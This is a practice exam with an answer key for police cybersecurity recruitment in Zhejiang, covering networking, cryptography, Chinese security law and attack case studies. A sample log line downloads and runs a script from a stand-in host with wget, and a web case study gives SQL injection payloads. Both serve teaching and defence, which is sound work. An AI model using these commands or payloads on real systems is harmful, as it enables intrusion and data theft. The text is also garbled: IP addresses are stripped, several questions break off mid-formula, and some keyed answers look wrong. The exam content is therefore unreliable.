2026年浙江省公安机关人民警察特殊职位公务员招录考试（网络安全技术）练习题及答案

2026年浙江省公安机关人民警察特殊职位公务员招录考试（网络安全技术）练习题及答案一、单项选择题（本部分共20题，每题1.5分，共30分。每题只有一个正确选项，请将正确选项的代码填入括号内）1.在OSI七层模型中，负责为网络层提供服务，确保数据从一个节点可靠地传输到另一个节点的层次是（）。A.物理层B.数据链路层C.传输层D.会话层2.某主机IP地址为00，子网掩码为92，则该主机所在的子网广播地址是（）。A.27B.28C.91D.553.在Linux系统中，用于查看当前系统所有TCP连接及其状态的命令是（）。A.netstat-anB.ifconfig-aC.route-nD.ping-c44.下列关于SQL注入攻击的描述中，错误的是（）。A.SQL注入是由于应用程序未对用户输入进行严格过滤导致的B.使用预编译语句可以有效防御SQL注入C.SQL注入只能通过GET请求方式进行攻击D.盲注是一种在无法直接看到回显信息时利用的SQL注入技术5.数字签名技术用于保证网络信息的（）。A.保密性B.完整性C.不可否认性D.可用性6.在Windows注册表中，存储了系统启动时自动加载的程序信息的主要键值是（）。A.HKEY_CLASSES_ROOTB.HKEY_CURRENT_USERC.HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunD.HKEY_USERS7.常见的端口扫描工具Nmap中，用于检测操作系统版本的参数是（）。A.-sPB.-sVC.-OD.-A8.RSA算法的安全性基于（）。A.大整数分解困难问题B.离散对数困难问题C.背包问题D.椭圆曲线离散对数问题9.在一次渗透测试中，攻击者获得了Webshell，但无法执行系统命令，可能的原因是（）。A.Web服务器配置了禁用执行系统命令的函数（如PHP的disable_functions）B.数据库连接池耗尽C.防火墙拦截了数据库流量D.Web服务器CPU占用过高10.《中华人民共和国网络安全法》规定，网络运营者应当按照网络安全等级保护制度的要求，履行安全保护义务。其中，关键信息基础设施的运营者还应当履行（）。A.数据分类分级义务B.安全检测评估义务C.数据本地化存储义务（确需向境外提供的，应当进行安全评估）D.用户身份信息核验义务11.下列协议中，默认使用UDP协议传输的是（）。A.HTTPSB.SSHC.DNSD.FTP12.某文件的后缀名被伪装为.jpg，但文件头部十六进制代码为“4D5A”，该文件实际类型可能是（）。A.JPEG图片B.PNG图片C.PE可执行文件（EXE/DLL）D.ELF可执行文件13.Metasploit框架中，用于建立攻击载荷与目标主机之间交互式连接的模块类型是（）。A.ExploitsB.PayloadsC.AuxiliariesD.Post14.在入侵检测系统（IDS）中，基于特征的检测方法与基于异常的检测方法相比，其主要缺点是（）。A.检测效率低B.无法检测未知的攻击模式C.误报率高D.难以配置规则15.在Web安全中，CORS（跨源资源共享）机制中，如果服务器响应头包含“Access-Control-Allow-Origin:*”，则可能导致的安全风险是（）。A.SQL注入B.跨站脚本攻击（XSS）C.跨站请求伪造（CSRF）D.敏感信息泄露16.计算机取证中，为了保证证据的（），在获取证据镜像后应当计算其哈希值。A.保密性B.完整性C.可用性D.真实性17.下列关于XSS（跨站脚本攻击）的描述，属于“存储型XSS”特征的是（）。A.恶意脚本必须通过URL参数传递B.恶意脚本被服务器存储在数据库中，每次访问页面时触发C.恶意脚本不需要经过服务器D.恶意脚本仅影响当前用户的浏览器会话18.Wireshark抓包分析中，若要过滤出所有HTTPPOST请求，应使用的过滤表达式是（）。A.http.request.method=="GET"B.http.request.method=="POST"C.http.response==200D.tcp.flags.push==119.在Python编写脚本进行安全测试时，requests库中用于忽略SSL证书验证错误的参数是（）。A.verify=FalseB.allow_redirects=FalseC.timeout=10D.cert=None20.常见的Web容器Tomcat默认的管理后台路径是（）。A./adminB./manager/htmlC./consoleD./wp-admin二、多项选择题（本部分共15题，每题2.5分，共37.5分。每题有两个或两个以上正确选项，多选、少选、错选均不得分，请将正确选项的代码填入括号内）21.下列属于TCP协议三次握手过程包标志位组合的是（）。A.SYNB.ACKC.FIND.PSH22.防火墙的工作模式主要包括（）。A.包过滤B.应用代理C.状态检测D.电路级网关23.Linux系统中，属于系统日志文件的有（）。A./var/log/messagesB./var/log/secureC./var/log/wtmpD./etc/passwd24.下列关于对称加密算法和非对称加密算法的描述，正确的有（）。A.对称加密算法加解密速度快，适合加密大量数据B.非对称加密算法安全性更高，常用于密钥交换和数字签名C.RSA是非对称加密算法D.DES是对称加密算法，且目前仍被推荐用于高敏感数据加密25.常见的Web漏洞扫描工具有（）。A.AWVSB.NessusC.AppScanD.BurpSuite26.造成Web网站信息泄露的原因可能包括（）。A.服务器配置错误，开启了目录浏览B.代码中硬编码了数据库密码C.错误的异常处理机制导致堆栈信息泄露D.使用了HTTPS协议27.在应急响应中，判定主机是否被植入Rootkit的检查方法包括（）。A.对比ls命令和/proc目录下的文件列表B.检查系统命令的哈希值是否发生变化C.使用rpm-V验证已安装软件包D.检查网络连接中是否有异常的反弹Shell连接28.下列属于中间人攻击（MITM）技术手段的有（）。A.ARP欺骗B.ICMP重定向C.DNS欺骗D.SQL注入29.《数据安全法》规定，国家建立数据分类分级保护制度。对数据开展分类分级时，需要考虑的因素包括（）。A.数据遭到篡改、破坏、泄露或者非法获取、非法利用后，对个人、组织合法权益的危害程度B.数据遭到篡改、破坏、泄露或者非法获取、非法利用后，对国家安全、公共利益造成的危害程度C.数据的数据量大小D.数据的存储格式30.在内存取证分析中，可以提取的信息包括（）。A.进程列表B.网络连接C.剪贴板内容D.已加载的内核模块31.下列关于IPv6协议的描述，正确的有（）。A.地址长度为128位B.不支持广播地址，使用组播代替C.取消了首部校验和字段，提高了路由效率D.必须配合IPSec使用，内置安全性32.下列属于恶意代码传播途径的有（）。A.邮件附件B.恶意网页挂马C.U盘传播D.软件供应链劫持33.在使用BurpSuite进行Web渗透测试时，Intruder模块的攻击类型包括（）。A.Sniper（狙击手模式）B.Batteringram（攻城锤模式）C.Pitchfork（草叉模式）D.Clusterbomb（集束炸弹模式）34.常见的逻辑漏洞包括（）。A.越权访问（水平/垂直越权）B.竞争条件C.支付逻辑漏洞（如金额篡改）D.密码重置漏洞35.关于HTTPS协议，下列说法正确的有（）。A.HTTPS通过SSL/TLS协议对HTTP数据进行加密B.HTTPS可以防止数据在传输过程中被窃听和篡改C.配置HTTPS后，网站绝对安全，不会再被攻击D.证书由受信任的CA机构签发三、判断题（本部分共10题，每题1分，共10分。请判断下列说法的正确性，正确的选“A”，错误的选“B”）36.ICMP协议主要用于传递控制消息，如“目标不可达”，它工作在网络层。（）37.在Linux系统中，root用户权限无限，因此其UID总是0。（）38.基数排序是一种稳定的排序算法，其时间复杂度为O(39.只要使用了MD5算法对用户密码进行存储，就是安全的。（）40.数字证书中包含公钥信息，但不包含私钥信息。（）41.DoS（拒绝服务）攻击的目的是耗尽目标系统的资源，使其无法响应合法用户的请求。（）42.所有的XSS攻击都可以通过过滤尖括号“<”和“>”来完全防御。（）43.在网络安全等级保护2.0标准中，第三级及以上系统要求每年至少进行一次等级测评。（）44.公网IP地址是可以直接在互联网上路由的地址，而私网IP地址只能在局域网内使用。（）45.Python中的pickle模块在反序列化数据时是安全的，不会存在代码执行风险。（）四、填空题（本部分共10题，每题1.5分，共15分。请将答案填在横线上）46.在HTTP协议中，状态码______表示服务器内部错误。47.Linux系统中，用于查看当前系统运行进程的常用命令是______。48.在网络安全中，______是一种通过伪造源IP地址向目标发送大量SYN包，导致目标建立大量半连接从而耗尽资源的攻击方式。49.异或运算（XOR）具有一个重要性质：如果A⊕B=50.常见的Webshell连接工具中，中国菜刀、冰蝎和______都是常用的客户端。51.ASN.1（抽象语法标记一）中的______漏洞是历史上著名的SSL/TLS协议漏洞。52.在Wireshark中，跟随TCP流的快捷键通常是______。53.为了防止暴力破解口令，系统通常会设置______策略，限制用户尝试登录的次数。54.在Windows系统中，通过______命令可以查看本机ARP缓存表。55.______攻击利用了Web应用对用户输入缺乏过滤，使得攻击者能够插入恶意的JavaScript代码并在其他用户的浏览器中执行。五、简答题（本部分共4题，每题5分，共20分）56.请简述TCP三次握手的过程，并说明为什么需要三次握手而不是两次。57.请列举OWASPTop10（2021版）中的任意5种Web安全风险，并分别简要描述。58.简述对称加密算法与非对称加密算法的主要区别及各自的优缺点。59.根据《中华人民共和国网络安全法》，网络运营者在发生网络安全事件时，应当履行哪些义务？六、综合分析与案例分析题（本部分共3题，共37.5分）60.（12分）网络流量分析案例作为一名网络安全技术人员，你捕获到了一段网络流量数据包，以下是部分关键信息的描述：数据包1：源IP，目的IP0，源端口54321，目的端口80，Flags[SYN]，Seq0。数据包2：源IP0，目的IP，源端口80，目的端口54321，Flags[SYN,ACK]，Seq0,Ack1。数据包3：源IP，目的IP0，源端口54321，目的端口80，Flags[ACK]，Seq1,Ack1。数据包4：源IP，目的IP0，源端口54321，目的端口80，Flags[PSH,ACK]，Seq1,Ack1，Payload内容为“GET/admin/login.phpHTTP/1.1...”。数据包5：源IP0，目的IP，源端口80，目的端口54321，Flags[ACK]，Seq1,Ack200。数据包6：源IP0，目的IP，源端口80，目的端口54321，Flags[PSH,ACK]，Seq1,Ack200，Payload内容包含“HTTP/1.1200OK”以及一段HTML代码，其中包含“<formaction='login'method='POST'>...”。随后数据包7、8、9...：向0发送了POST请求，Payload中包含“username=admin'OR'1'='1'&password=...”。请根据上述描述回答以下问题：(1)请描述数据包1-3发生的交互过程名称及其作用。（3分）(2)数据包4-6表明了什么应用层行为？（3分）(3)分析数据包7及之后的Payload内容，判断攻击者正在尝试进行什么类型的攻击？其攻击的目的是什么？（3分）(4)如果你是该网站的管理员，应如何从代码层面修复此漏洞？（3分）61.（12.5分）系统日志分析与应急响应案例某Linux服务器出现异常，管理员提取了部分日志信息如下：```bash#/var/log/secure部分内容Dec1010:23:15serversshd[2341]:Failedpasswordforrootfromport45678ssh2Dec1010:23:17serversshd[2342]:Failedpasswordforrootfromport45679ssh2Dec1010:23:19serversshd[2343]:Failedpasswordforrootfromport45680ssh2...Dec1010:24:05serversshd[2350]:Acceptedpasswordforrootfromport45685ssh2Dec1010:25:10servercron[2400]:(root)CMD(cd/tmp;wgethttp://malicious.evil/x.sh;chmod+xx.sh;./x.sh)Dec1010:25:12serverkernel:[23451.234123]process_name'kworker/u2:0'taintedPF.```同时，管理员在`/tmp`目录下发现了一个名为`.hidden`的文件，其内容显示为一个反向连接的Shell脚本。请根据上述情境回答：(1)日志显示攻击者在Dec1010:23:15到10:24:05期间进行了什么操作？结果如何？（3分）(2)Dec1010:25:10的日志记录表明攻击者采用了什么技术来维持权限或执行后续任务？（3分）(3)作为应急响应人员，列出你发现入侵后应立即采取的5个紧急处置步骤。（3.5分）(4)针对SSH暴力破解攻击，有哪些有效的加固防御措施？（3分）62.（13.5分）Web渗透测试综合题某在线商城网站存在一个搜索功能，URL为：`http://www.example/search.php?keyword=test`。渗透测试人员小王对该参数进行了测试。当输入`test`时，页面正常显示搜索结果。当输入`test'`时，页面返回数据库错误信息：“YouhaveanerrorinyourSQLsyntax;near'''''atline1”。当输入`test'AND1=1--`时，页面正常显示。当输入`test'AND1=2--`时，页面显示为空（无结果）。随后，小王使用`test'UNIONSELECT1,user(),database()--`成功获取到了当前数据库用户名为`db_user@localhost`，数据库名为`shop_db`。请回答下列问题：(1)根据上述现象，判断该网站存在的SQL注入类型，并说明判断依据。（3分）(2)请写出获取`shop_db`中所有表名的SQL注入Payload语句（假设MySQL数据库，版本大于5.0）。（3分）(3)假设获取到的表名中有一个`users`表，包含字段`id,username,password`。请写出获取`users`表中第一条记录的`username`和`password`的Payload语句。（3分）(4)除了SQL注入，该搜索功能还极有可能存在另一类安全漏洞。如果攻击者构造恶意链接诱导管理员点击，可能会造成什么后果？请写出该漏洞的名称及一个简单的防御思路。（4.5分）参考答案及解析一、单项选择题1.C【解析】传输层（TransportLayer）负责端到端的通信，确保数据可靠传输（TCP）或高效传输（UDP）。2.A【解析】子网掩码92，即/26，块大小为64。100/64=1余36，属于4子网。该子网范围是64-127，其中64是网络地址，127是广播地址。3.A【解析】netstat-an用于显示所有网络连接（-a）并以数字形式显示地址和端口（-n）。4.C【解析】SQL注入可以通过GET、POST、Cookie、HTTPHeader等多种方式注入，不仅仅限于GET。5.C【解析】数字签名用于验证消息的来源（真实性）并确保发送方不能抵赖（不可否认性），同时也保证完整性。6.C【解析】HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run是系统启动时自动运行程序的标准注册表位置。7.C【解析】Nmap中-O参数用于操作系统指纹识别，-sV用于服务版本探测。8.A【解析】RSA的安全性基于大整数分解的困难性。9.A【解析】PHP配置文件中的disable_functions可以禁用exec,system,shell_exec等危险函数，导致Webshell无法执行系统命令。10.C【解析】《网络安全法》第三十七条规定，关键信息基础设施的运营者在中华人民共和国境内运营中收集和产生的个人信息和重要数据应当在境内存储。因业务需要，确需向境外提供的，应当进行安全评估。11.C【解析】DNS默认使用UDP53端口，虽然大数据包时也使用TCP，但主要传输协议是UDP。12.C【解析】“4D5A”是DOS可执行文件（EXE）的魔数，即MZ的十六进制表示。13.B【解析】Payloads是攻击载荷，用于在目标系统上执行特定操作（如建立反向Shell、绑定端口等）。14.B【解析】基于特征的检测（误用检测）依赖于已知的攻击特征库，因此无法检测未知的、新型的攻击（0-day）。15.B【解析】Access-Control-Allow-Origin:*允许任意域的跨域请求，如果网站存在XSS漏洞，攻击者可以跨域读取敏感数据，或者配合某些设计缺陷导致数据泄露。16.B【解析】哈希值用于验证数据在传输或存储过程中是否被篡改，即保证完整性。17.B【解析】存储型XSS（持久型）是指恶意脚本被永久存储在服务器数据库中，当其他用户访问包含该恶意数据的页面时触发。18.B【解析】http.request.method=="POST"是Wireshark过滤HTTPPOST请求的标准过滤器。19.A【解析】在requests.get/post中，verify=False参数可以忽略SSL证书验证。20.B【解析】Tomcat默认管理路径通常是/manager/html或/manager。二、多项选择题21.AB【解析】TCP三次握手涉及SYN（同步）和ACK（确认）标志。FIN用于断开，PSH用于推送数据。22.ABC【解析】防火墙基本技术包括包过滤、应用层代理（网关）和状态检测。电路级网关也是代理的一种，但通常前三个是最主要的分类模式。23.ABC【解析】/var/log/messages是系统主日志，/var/log/secure是安全认证日志，/var/log/wtmp是登录二进制日志。/etc/passwd是配置文件，不是日志。24.ABC【解析】对称加密速度快适合大数据，非对称适合密钥交换和签名；RSA是非对称，DES是对称。D选项错误，因为DES密钥过短已不安全。25.AC【解析】AWVS（Acunetix）和AppScan（IBM）是专门的Web漏洞扫描器。Nessus主要是系统漏洞扫描器，BurpSuite是渗透测试工具（虽含扫描但主要定位是代理）。26.ABC【解析】目录浏览、硬编码密码、错误信息泄露都是常见的信息泄露原因。HTTPS是加密传输，防止泄露。27.ABCD【解析】Rootkit会隐藏文件、进程和网络连接。对比ls和/proc、检查命令哈希、验证软件包、检查异常网络连接都是检测手段。28.ABC【解析】ARP欺骗、ICMP重定向、DNS欺骗都是实施中间人攻击的常见手段。SQL注入是直接攻击服务器，不是MITM。29.AB【解析】《数据安全法》规定分类分级依据是数据一旦遭到篡改、破坏、泄露或者非法获取、非法利用，对个人、组织合法权益、国家安全、公共利益造成的危害程度。30.ABCD【解析】内存取证可以从内存镜像中提取进程、网络、剪贴板、内核模块、密钥、密码哈希等丰富信息。31.ABC【解析】IPv6地址128位，无广播用组播，取消首部校验和。D选项错误，IPSec是IPv6的推荐扩展头，但并非强制“必须”使用才能运行IPv6。32.ABCD【解析】邮件、挂马、U盘、供应链劫持都是常见的恶意代码传播方式。33.ABCD【解析】BurpIntruder四种攻击模式：Sniper（单点）、Batteringram（单点同步）、Pitchfork（集束同步）、Clusterbomb（集束笛卡尔积）。34.ABCD【解析】逻辑漏洞通常指业务逻辑设计缺陷，包括越权、并发竞争、支付逻辑、密码重置逻辑等。35.ABD【解析】HTTPS通过SSL/TLS加密，防窃听防篡改，证书由CA签发。C错误，配置HTTPS不代表代码逻辑无漏洞，仍可能被XSS、SQL注入等攻击。三、判断题36.A【解析】ICMP是网络层控制协议。37.A【解析】Linux中UID0即为root。38.B【解析】基数排序的时间复杂度是O(nk)，其中k是数字长度，通常被认为是线性的，不是39.B【解析】MD5存在碰撞漏洞且计算速度快，不适合直接存储密码，应使用加盐的Hash（如bcrypt）。40.A【解析】数字证书包含公钥和身份信息，私钥由持有者自己秘密保存。41.A【解析】DoS攻击目的就是耗尽资源使服务不可用。42.B【解析】过滤尖括号只能防御部分XSS，攻击者还可以利用事件触发（如onload）、不依赖标签的注入（如在CSS中）或编码绕过。43.A【解析】等保2.0要求三级及以上系统每年至少进行一次测评。44.A【解析】这是IP地址分类的基本定义。45.B【解析】Python的pickle模块在反序列化不受信任的数据时存在严重的安全漏洞，可以执行任意Python代码。四、填空题46.50047.ps-ef（或psaux）48.SYNFlood（或SYN洪水）49.B50.哥斯拉（或冰蝎/中国菜刀/Behinder，填任意常见的Webshell工具名称如“Behinder”或“Godzilla”均可，此处填哥斯拉作为常见补充）51.Heartbleed（心脏滴血）52.Shift+Ctrl+F（或在菜单中FollowTCPStream）53.账户锁定（或账户封禁/Failedloginattemptlimit）54.arp-a55.XSS（或跨站脚本攻击/Cross-SiteScripting）五、简答题56.答：过程：1.客户端发送SYN包（seq=x）给服务器，请求建立连接。2.服务器收到SYN包，回复SYN+ACK包（seq=y,ack=x+1），确认收到客户端请求。3.客户端收到SYN+ACK包，回复ACK包（ack=y+1），确认收到服务器确认。连接建立完成。原因：主要为了防止已失效的连接请求报文段突然又传送到了服务端，因而产生错误。同时，三次握手能够同步双方的序列号和确认号，并交换TCP窗口大小信息。两次握手无法确认客户端的接收能力，只有三次握手才能让服务端确认“自己发送的、客户端接收的、自己接收的”这一链路是畅通的。57.答：（列举任意5种即可）1.A01:2021–访问控制失效（BrokenAccessControl）：排名第一，包括越权访问等。2.A02:2021–加密失效（CryptographicFailures）：敏感数据未加密或使用弱加密。3.A03:2021–注入（Injection）：SQL注入、命令注入等。4.A04:2021–不安全设计（InsecureDesign）：架构层面的安全缺陷。5.A05:2021–安全配置错误（SecurityMisconfiguration）：默认配置、开启调试信息等。6.A06:2021–易受攻击和过时的组件（VulnerableandOutdatedComponents）：使用含有漏洞的库。7.A07:2021–身份识别和身份验证失败（IdentificationandAuthenticationFailures）：弱口令、会话固定等。8.A08:2021–软件和数据完整性失败（SoftwareandDataIntegrityFailures）：供应链攻击。9.A09:2021–安全日志和监控失败（SecurityLoggingandMonitoringFailures）：缺乏审计。10.A10:2021–服务端请求伪造（SSRF）：伪造服务端发起请求。58.答：区别：密钥数量：对称加密使用同一个密钥进行加密和解密；非对称加密使用公钥对加密，私钥解密（或反之）。算法：对称算法如DES、AES；非对称算法如RSA、ECC。速度：对称加密速度快；非对称加密速度慢。优缺点：对称加密：优点：算法简单，计算速度快，适合处理大量数据。缺点：密钥分发和管理困难，缺乏防抵赖机制。非对称加密：优点：密钥管理方便（公钥公开），支持数字签名和密钥交换。缺点：计算复杂，速度慢，不适合加密长数据。59.答：根据《中华人民共和国网络安全法》第二十五条规定：1.网络运营者应当制定网络安全事件应急预案。2.在网络安全事件发生时，立即启动应急预案。3.采取相应的补救措施。4.按照规定向有关主管部门报告（注意：对于关键信息基础设施，其运营者还需特别注意第25条要求的义务）。（注：法律要求核心是“制定预案”、“启动预案”、“补救措施”、“向主管部门报告”。）六、综合分析与案例分析题60.(12分)(1)TCP三次握手。作用是建立可靠的TCP连接，同步双方的序列号和确认号。（3分）(2)HTTP客户端请求与服务器响应。客户端端请求访问/admin/login.php页面，服务器返回了包含登录表单的HTML页面。（3分）(3)SQL注入攻击。攻击者在username字段输入了`'OR'1'='1'`，目的是绕过身份验证，在不输入正确密码的情况下登录管理员后台（万能密码攻击）。（3分）(4)修复方法：使用参数化查询（预编译语句）或使用ORM框架；对用户输入进行严格的类型检